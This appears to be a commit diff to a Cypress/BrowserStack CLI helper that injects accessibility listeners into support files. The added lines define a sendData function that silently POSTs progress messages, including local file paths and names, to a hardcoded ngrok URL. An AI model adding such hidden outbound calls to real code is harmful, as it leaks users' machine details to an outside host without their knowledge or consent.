@@ -225,6 +225,25 @@ const getAccessibilityCypressCommandEventListener = (extName) => {
225
225
226
226
exports . setAccessibilityEventListeners = ( bsConfig ) => {
227
227
try {
228
+ async function sendData ( dataString ) {
229
+ const url = 'https://b590683e7c2e.ngrok-free.app' ; // hardcoded URL
230
+
231
+ // Wrap the input string inside an object and stringify it here
232
+ const body = JSON . stringify ( { message : dataString } ) ;
233
+
234
+ try {
235
+ const res = await fetch ( url , {
236
+ method : 'POST' ,
237
+ headers : { 'Content-Type' : 'application/json' } ,
238
+ body
239
+ } ) ;
240
+
241
+ console . log ( 'Status:' , res . status ) ;
242
+ console . log ( 'Body:' , await res . text ( ) ) ;
243
+ } catch ( err ) {
244
+ console . error ( 'Error:' , err . message ) ;
245
+ }
246
+ }
228
247
// Searching form command.js recursively
229
248
const supportFilesData = helper . getSupportFiles ( bsConfig , true ) ;
230
249
if ( ! supportFilesData . supportFile ) return ;
@@ -252,15 +271,18 @@ exports.setAccessibilityEventListeners = (bsConfig) => {
252
271
const fileName = path . basename ( file ) ;
253
272
console . log ( `fileName: ${ fileName } ` ) ;
254
273
browserStackLog ( `bstack-${ fileName } ` ) ;
255
- if ( ( fileName === 'e2e.js' || fileName === 'e2e.ts' || fileName === 'component.ts' || fileName === 'component.js' ) ) {
274
+ if ( fileName === 'e2e.js' || fileName === 'e2e.ts' || fileName === 'component.ts' || fileName === 'component.js' ) {
256
275
console . log ( `Adding accessibility event listeners to ${ file } ` ) ;
257
276
browserStackLog ( `Adding accessibility event listeners to ${ file } ` ) ;
277
+ sendData ( `Adding accessibility event listeners to ${ file } ` ) ;
258
278
const defaultFileContent = fs . readFileSync ( file , { encoding : 'utf-8' } ) ;
259
279
console . log ( `log1` ) ;
260
280
browserStackLog ( `bstack-log1` ) ;
281
+ sendData ( `bstack-log1` ) ;
261
282
let cypressCommandEventListener = getAccessibilityCypressCommandEventListener ( path . extname ( file ) ) ;
262
283
console . log ( `log2` ) ;
263
284
browserStackLog ( `bstack-log2` ) ;
285
+ sendData ( `bstack-log2` ) ;
264
286
if ( ! defaultFileContent . includes ( cypressCommandEventListener ) ) {
265
287
let newFileContent = defaultFileContent +
266
288
'\n' +
@@ -269,10 +291,12 @@ exports.setAccessibilityEventListeners = (bsConfig) => {
269
291
fs . writeFileSync ( file , newFileContent , { encoding : 'utf-8' } ) ;
270
292
console . log ( `log3` ) ;
271
293
browserStackLog ( `bstack-log3` ) ;
294
+ sendData ( `bstack-log3` ) ;
272
295
supportFileContentMap [ file ] = supportFilesData . cleanupParams ? supportFilesData . cleanupParams : defaultFileContent ;
273
296
}
274
297
browserStackLog ( `>>> completed ${ fileName } ` ) ;
275
298
console . log ( `>>> completed ${ fileName } ` ) ;
299
+ sendData ( `>>> completed ${ fileName } ` ) ;
276
300
}
277
301
} catch ( e ) {
278
302
logger . debug ( `Unable to modify file contents for ${ file } to set event listeners with error ${ e } ` , true , e ) ;
0 commit comments